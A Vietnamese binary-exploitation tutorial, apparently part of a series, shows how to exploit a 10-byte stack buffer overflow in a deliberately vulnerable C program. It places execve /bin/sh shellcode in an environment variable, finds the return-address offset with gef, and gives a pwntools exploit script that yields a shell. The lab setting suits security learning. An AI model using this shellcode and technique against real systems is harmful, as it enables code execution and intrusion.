Chào mọi người, nối tiếp phần trước, phần này mình sẽ giới thiệu phương pháp khai thác với buffer nhỏ. Như phần trước, buffer của chúng ta có độ lớn 64 bytes, đủ chứa shellcode và thực hiện sửa đổi return address. Tủy nhiên ở phần này, buffer chỉ có độ lớn 10 bytes, cùng tìm hiểu phương pháp khai thác ở dưới bằng cách sử dụng biến môi trường.
1. Thêm shellcode vào environment và lấy địa chỉ env với C code
Trên linux, để thêm env ta có thể sử dụng đơn giản với cmd export, ta thực hiện thêm shellcode như phần trước vào env như sau:
export SHELLCODE=`python2 -c 'print("x90"*30+"xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxffxffx2fx62x69x6ex2fx73x68")'`
Sau đó, tạo file c để tiến hành lấy địa chỉ shellcode:
get_env.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char env_name[20];
strcpy(env_name, argv[1]);
printf("0x%08xn", (getenv(env_name) + strlen(strcat(env_name, "="))));
return 0;
}
Ta thực compile file: gcc -m32 get_env.c -o get_env
Chạy thử ta được kết quả như sau:
┌──(kali㉿kali)-[~/Desktop/Binary Exploit]
└─$ ./get_env SHELLCODE
0xffffdf83
Ok, ta đã có địa chỉ của shellcode, tiếp theo thực hiện debug với gdb để tìm offset để sửa đổi return address.
2. Debug với gdb tìm offset eip và viết file exploit
Ta có file small_buff.c
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
char buff[10]; //small buffer
strcpy(buff, argv[1]); //vulnerable function call
return 0;
}
Compile: gcc -m32 -z execstack -mpreferred-stack-boundary=2 small_buff.c -o small_buff
Debug với gdb:
Ta tạo 1 pattern để tìm offset (các bạn cần cài đặt gef, link đã để ở phần 1):
gef➤ pattern create 80
[+] Generating a pattern of 80 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa
[+] Saved as '$_gef0'
Chạy file với input vừa tạo
gef➤ r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa
Starting program: /home/kali/Desktop/Binary Exploit/small_buff aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc9000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x61666161 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0
$ebx : 0x61646161 ("aada"?)
$ecx : 0xffffd330 → "ataaa"
$edx : 0xffffd075 → "ataaa"
$esp : 0xffffd040 → "aagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaa[...]"
$ebp : 0x61656161 ("aaea"?)
$esi : 0xffffd0f4 → 0xffffd2b8 → "/home/kali/Desktop/Binary Exploit/small_buff"
$edi : 0xf7ffcb80 → 0x00000000
$eip : 0x61666161 ("aafa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
────────────────────────────────────────────────────────────────────── stack ────
0xffffd040│+0x0000: "aagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaa[...]" ← $esp
0xffffd044│+0x0004: "aahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaa[...]"
0xffffd048│+0x0008: "aaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa"
0xffffd04c│+0x000c: "aajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa"
0xffffd050│+0x0010: "aakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa"
0xffffd054│+0x0014: "aalaaamaaanaaaoaaapaaaqaaaraaasaaataaa"
0xffffd058│+0x0018: "aamaaanaaaoaaapaaaqaaaraaasaaataaa"
0xffffd05c│+0x001c: "aanaaaoaaapaaaqaaaraaasaaataaa"
──────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61666161
──────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "small_buff", stopped 0x61666161 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────
gef➤
Ta được kết quả chương trình dừng tại 0x61666161, dùng câu lệnh sau để tìm offset
gef➤ pattern search 0x61666161
[+] Searching for '0x61666161'
[+] Found at offset 18 (little-endian search) likely
[+] Found at offset 19 (big-endian search)
Như vậy offset = 18, ta viết file small_buff_exploit.py
#!usr/bin/env python3
#small_buff_exp.py
from pwn import *
context.update(os="linux", arch="i386")
env_name = "SHELLCODE"
getenv_process = process(['./get_env', env_name])
env_address = p32(int(getenv_process.readline().strip(), 16))
print(env_address)
getenv_process.close()
payload = b'A'*18 + env_address
print(payload)
p = process(['./small_buff', payload])
p.interactive()
Chạy chương trình và mình nhận được 1 shell
Nguồn: viblo.asia